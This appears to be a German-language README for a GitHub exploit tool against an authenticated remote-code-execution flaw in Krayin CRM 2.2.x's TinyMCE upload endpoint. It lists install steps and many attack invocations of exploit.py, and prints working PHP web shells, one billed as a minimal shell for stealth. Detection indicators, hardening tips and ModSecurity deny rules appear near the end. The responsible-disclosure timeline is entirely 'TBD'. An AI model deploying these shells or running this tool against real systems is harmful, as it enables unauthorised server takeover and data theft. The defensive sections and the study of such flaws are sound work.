🔓 Krayin CRM v2.2.x - Authentifizierte Remote-Code-Ausführung Exploit

⚠️ NUR FÜR AUTORISIERTE SICHERHEITSTESTS - Unbefugte Nutzung ist illegal und unethisch.

📋 Überblick

Dieses Exploit-Tool demonstriert eine kritische, authentifizierte Remote-Code-Ausführungs-Schwachstelle (RCE), die in Krayin CRM Version 2.2.x entdeckt wurde. Die Schwachstelle existiert in der TinyMCE-Datei-Upload-Funktionalität, die es authentifizierten Administratoren ermöglicht, beliebigen PHP-Code auf dem Server hochzuladen und auszuführen.

🚨 Schwachstellendetails

Die Schwachstelle resultiert aus einer unzureichenden Dateityp-Validierung im TinyMCE-Datei-Upload-Endpunkt (/admin/tinymce/upload). Ein authentifizierter Administrator kann:

• Eine PHP-Datei hochladen, die als Bild-MIME-Typ getarnt ist.
• Die Datei wird an einem webzugänglichen Ort gespeichert.
• Der Angreifer kann dann beliebigen PHP-Code auf dem Server ausführen.

Betroffene Versionen

• Krayin CRM 2.2.0
• Krayin CRM 2.2.1
• Krayin CRM 2.2.2
• Alle 2.2.x Versionen vor dem Patch-Release

✨ Funktionen

• Mehrere Shell-Typen: Basic, Advanced, Minimal, File Manager und Custom.
• Interaktive Shell: Vollständige terminalähnliche Oberfläche mit Befehlshistorie.
• Datei-Upload: Hochladen weiterer Dateien über die Shell.
• CSRF-Token-Extraktion: Automatische Handhabung des CSRF-Schutzes.
• Proxy-Unterstützung: Weiterleitung des Datenverkehrs über HTTP/HTTPS-Proxys.
• Flexible Ausgabeformate: Text, JSON oder Silent-Modus.
• Wiederholungslogik: Automatische Wiederholung bei Verbindungsfehlern.
• Benutzerdefinierte Header: Unterstützung für benutzerdefinierte HTTP-Header.
• Ausführlicher Modus: Detaillierte Debugging-Ausgabe.
• SSL-Unterstützung: Optionale SSL-Zertifikatsprüfung.

📦 Installation

Voraussetzungen

• bash
• Python 3.7+
• pip install httpx beautifulsoup4 colorama

Schnellinstallation

git clone https://github.com/CerberusMrXi/KrayinCRM-RCE-Exploit-CVE-2026-38526/.git
cd KrayinCRM-RCE-Exploit-CVE-2026-38526
pip install -r requirements.txt

Anforderungsdatei (requirements.txt)

httpx>=0.24.0
beautifulsoup4>=4.12.0
colorama>=0.4.6

🚀 Verwendung

Grundlegende Befehlssyntax

python3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> [OPTIONS]

Erforderliche Parameter

Häufige Verwendungsbeispiele

# Basic exploitation with generated shell
python3 exploit.py -t http://target.com -u [email protected] -p password

# Upload custom PHP shell file
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php

# Generate advanced shell with interactive mode
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i

# Generate shell file without exploitation
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php

# Use with proxy for testing/debugging
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080

# JSON output for automation
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json

# Verbose mode with custom timeout
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60

# Custom User-Agent and headers
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"

🐚 Shell-Typen

1. Basic Shell (basic) Einfache Befehlsausführung mit der system()-Funktion.

   root@kitploit:~

   <?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
   

2. Advanced Shell (advanced) Funktionsreiche Shell mit:

   • Mehreren Befehlsausführungsmethoden
   • Schönem terminalähnlichen Web-Interface
   • Unterstützung der Befehlshistorie
   • Anzeige des aktuellen Benutzers und Hostnamens

3. Minimal Shell (minimal) Minimaler Fußabdruck für Heimlichkeit.

   root@kitploit:~

   <?php system($_GET["cmd"]); ?>
   

4. File Manager (file_manager) Vollständige Dateiverwaltungsschnittstelle:

   • Datei-Upload
   • Dateilöschung
   • Verzeichniserstellung
   • Navigation
   • Dateiberechtigungsanzeige

5. Custom Shell (custom) Verwenden Sie Ihre eigene PHP-Shell-Datei mit dem Parameter -f.

📝 Ausgabeformate

Textformat (Standard)

Menschenlesbare, farbige Ausgabe für die interaktive Nutzung.

JSON-Format (-o json)

Maschinenlesbares Format für Automatisierung und Integration.

{
  "success": true,
  "shell_url": "http://target.com/shell.php",
  "upload_url": "/storage/upload/shell.php",
  "message": "Upload successful",
  "timestamp": 1699123456.789,
  "details": {
    "status_code": 200,
    "response": "..."
  }
}

Silent-Format (-q, --quiet)

Keine Ausgabe außer bei Fehlern. Nützlich für die Stapelverarbeitung.

⚙️ Erweiterte Optionen

Beispiel für benutzerdefinierte Header

--header "X-Custom-Header: value" --header "User-Agent: CustomUA/1.0"

🔒 Erkennung & Prävention

Anzeichen einer Kompromittierung (IoC)

• Zu überwachende Dateien:

  • Ungewöhnliche PHP-Dateien in public/storage/upload/
  • Dateien mit doppelten Erweiterungen (z.B. image.php.jpg)
  • Neue Dateien mit verdächtigen Namen

• Zu prüfende Logs:

  • /admin/tinymce/upload POST-Anfragen
  • Ungewöhnliche Admin-Anmeldezeiten
  • Fehlgeschlagene Authentifizierungsversuche

• Systemindikatoren:

  • Unerwartete laufende Prozesse
  • Neue Cron-Jobs
  • Modifizierte Systemdateien

Präventionsmaßnahmen

• Sofortmaßnahmen:

  root@kitploit:~

  # Update to patched version
  composer update krayin/crm
  
  # Disable admin access temporarily
  # Remove unnecessary admin accounts
  # Change all admin passwords
  

• Härtung des Datei-Uploads:

  root@kitploit:~

  // Validate file type by content, not just extension
  // Implement content security policy
  // Use Web Application Firewall (WAF)
  // Enable file upload scanning
  

• Zugriffskontrolle:

  root@kitploit:~

  # Restrict admin IPs in .htaccess
  # Implement MFA for admin accounts
  # Regular admin audit
  # Session timeout policies
  

• WAF-Regeln (ModSecurity):

  root@kitploit:~

  # Block suspicious file uploads
  SecRule FILES "\.(php|phtml|php[0-9])" "id:1001,deny,status:403,msg:'PHP file upload blocked'"
  
  # Block web shells
  SecRule ARGS "system|exec|shell_exec|passthru" "id:1002,deny,status:403,msg:'Shell command blocked'"
  

🛡️ Verantwortungsvolle Offenlegung

Diese Schwachstelle wurde durch verantwortungsvolle Sicherheitsforschung entdeckt. Der Offenlegungsprozess folgte diesen Schritten:

• Entdeckung: Schwachstelle während einer Sicherheitsbewertung identifiziert.
• Verifizierung: Schwachstelle in Krayin CRM 2.2.x bestätigt.
• Meldung: Krayin CRM-Entwickler privat benachrichtigt.
• Koordination: Mit dem Team zusammengearbeitet, um einen Fix zu entwickeln.
• Patch: Warten auf offizielle Patch-Veröffentlichung.
• Offenlegung: Öffentliche Offenlegung nach Verfügbarkeit des Patches.

Zeitplan

• Entdeckung: TBD
• Gemeldet: TBD
• Patch veröffentlicht: TBD
• Öffentliche Offenlegung: TBD

📜 Haftungsausschluss

THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES, 
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY 
AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL 
THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 
EXEMPLARY, OR CONSEQUENTIAL DAMAGES ARISING IN ANY WAY OUT OF THE USE 
OF THIS SOFTWARE.

USE OF THIS TOOL FOR ANY PURPOSE OTHER THAN AUTHORIZED SECURITY TESTING 
IS ILLEGAL AND UNETHICAL. THE AUTHOR TAKES NO RESPONSIBILITY FOR 
UNAUTHORIZED USE OR ANY DAMAGES CAUSED BY THIS TOOL.

🔧 Fehlerbehebung

Häufige Probleme

• Problem: Authentifizierung schlägt fehl

  • Lösung: Anmeldeinformationen überprüfen, prüfen ob Admin-Login-Pfad /admin/login ist
  • Prüfung: Sicherstellen, dass die CSRF-Token-Extraktion korrekt funktioniert

• Problem: Datei-Upload schlägt fehl

  • Lösung: Dateiberechtigungen prüfen, überprüfen ob der Upload-Endpunkt existiert
  • Prüfung: Sicherstellen, dass das Ziel den TinyMCE-Editor verwendet

• Problem: Shell führt keine Befehle aus

  • Lösung: Prüfen ob PHP-Funktionen in php.ini nicht deaktiviert sind
  • Prüfung: Testen mit einem einfachen Befehl wie echo test

• Problem: SSL-Zertifikatsfehler

  • Lösung: --verify-ssl-Flag verwenden oder Überprüfung deaktivieren
  • Hinweis: Selbstsignierte Zertifikate verursachen ohne ordnungsgemäße Überprüfung Fehler

Debug-Modus

# Enable verbose logging
python3 exploit.py -t http://target.com -u admin -p pass -v

# With proxy (Burp Suite, etc.)
python3 exploit.py -t http://target.com -u admin -p pass --proxy http://127.0.0.1:8080

🤝 Mitwirken

Beiträge sind willkommen! Bitte stellen Sie sicher:

• Der gesamte Code ist ordnungsgemäß getestet.
• Die Dokumentation wird aktualisiert.
• Ethische Richtlinien werden befolgt.
• Die Sicherheitsforschung wird verantwortungsvoll durchgeführt.

📚 Referenzen

• Offizielle Krayin CRM-Website
• CVE-2026-38526
• OWASP Remote Code Execution
• PHP Security Best Practices

⭐ Unterstützung

Wenn Sie dieses Tool für die Sicherheitsforschung nützlich finden, denken Sie bitte an:

• ⭐ Das Repository mit einem Stern markieren
• 🔔 Folgen für Updates
• 📢 Teilen mit anderen Sicherheitsforschern

Erstellt mit ❤️ für Sicherheitsforschung

Denken Sie daran: Große Macht kommt mit großer Verantwortung. Nutzen Sie dieses Wissen weise!

📊 Schnellbefehls-Referenzkarte

# Quick reference
python3 exploit.py -t URL -u USER -p PASS [OPTIONS]

# Options:
#   -f FILE           Upload custom shell
#   --shell-type TYPE Basic|Advanced|Minimal|File_Manager|Custom
#   -i                Interactive mode
#   --proxy URL       HTTP proxy
#   -v                Verbose output
#   -o json           JSON output
#   --generate-only   Create shell without exploiting
#   --timeout SEC     Request timeout
#   --retry N         Retry count
#   --user-agent UA   Custom User-Agent
#   --header "K: V"   Custom headers
#   --verify-ssl      Verify SSL certificates
#   -q, --quiet       Suppress output

🔒 Denken Sie daran: Holen Sie immer eine schriftliche Genehmigung ein, bevor Sie ein System testen!